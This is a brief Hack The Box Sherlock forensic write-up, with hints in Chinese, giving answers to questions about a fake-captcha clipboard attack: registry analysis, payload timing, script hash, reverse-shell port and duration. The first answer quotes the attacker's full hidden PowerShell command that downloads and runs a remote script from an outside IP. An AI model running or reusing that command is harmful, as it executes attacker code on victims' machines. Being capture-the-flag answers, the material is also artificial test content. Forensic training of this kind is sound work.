HTB Pikaptcha
Sherlock Scenario
Happy Grunwald contacted the sysadmin, Alonzo, to notify him that he tried downloading the latest version of microsoft office from an update mail he received. He told that he visited the website and solved a captcha but no office download page came back. Alonzo, who himself was bombarded with phishing attacks last year and was now aware of attacker tactics, immediately notified the security team to isolate the machine as he suspected an intrusion.You are provided with network traffic and endpoint artifacts to answer few of concerning questions.
Q1
It is crucial to understand any payloads executed on the system for initial access. Analyzing registry hive for user happy grunwald. What is the full command that was run to download and execute the stager.
windows 中,注册表的 RunMRU 可以记录历史命令,直接用 regexp 打开该用户的注册表,然后搜索。

powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://43.205.115.44/office2024install.ps1')"
Q2
At what time in UTC did the malicious payload execute?

2024-09-23 05:07:45
Q3
The payload which was executed initially downloaded a PowerShell script and executed it in memory. What is sha256 hash of the script?
去流量包搜索一下这个 .ps1 脚本,直接提取出来。
这里建议提取原始数据 hex 丢到 cyberchef 处理后再导出,因为有不可见字符。

579284442094e1a44bea9cfb7d8d794c8977714f827c97bcb2822a97742914de
Q4
To which port did the reverse shell connect?

6969
Q5
For how many seconds was the reverse shell connection established between C2 and the victim's workstation?
过滤一下端口,然后用最后一个包的时间减去第一个包的时间即可。
403
Q6
Attacker hosted a malicious Captcha to lure in users. What is the name of the function which contains the malicious payload to be pasted in victim's clipboard?
直接在流量包里面搜一下第一问的命令

stageClipboard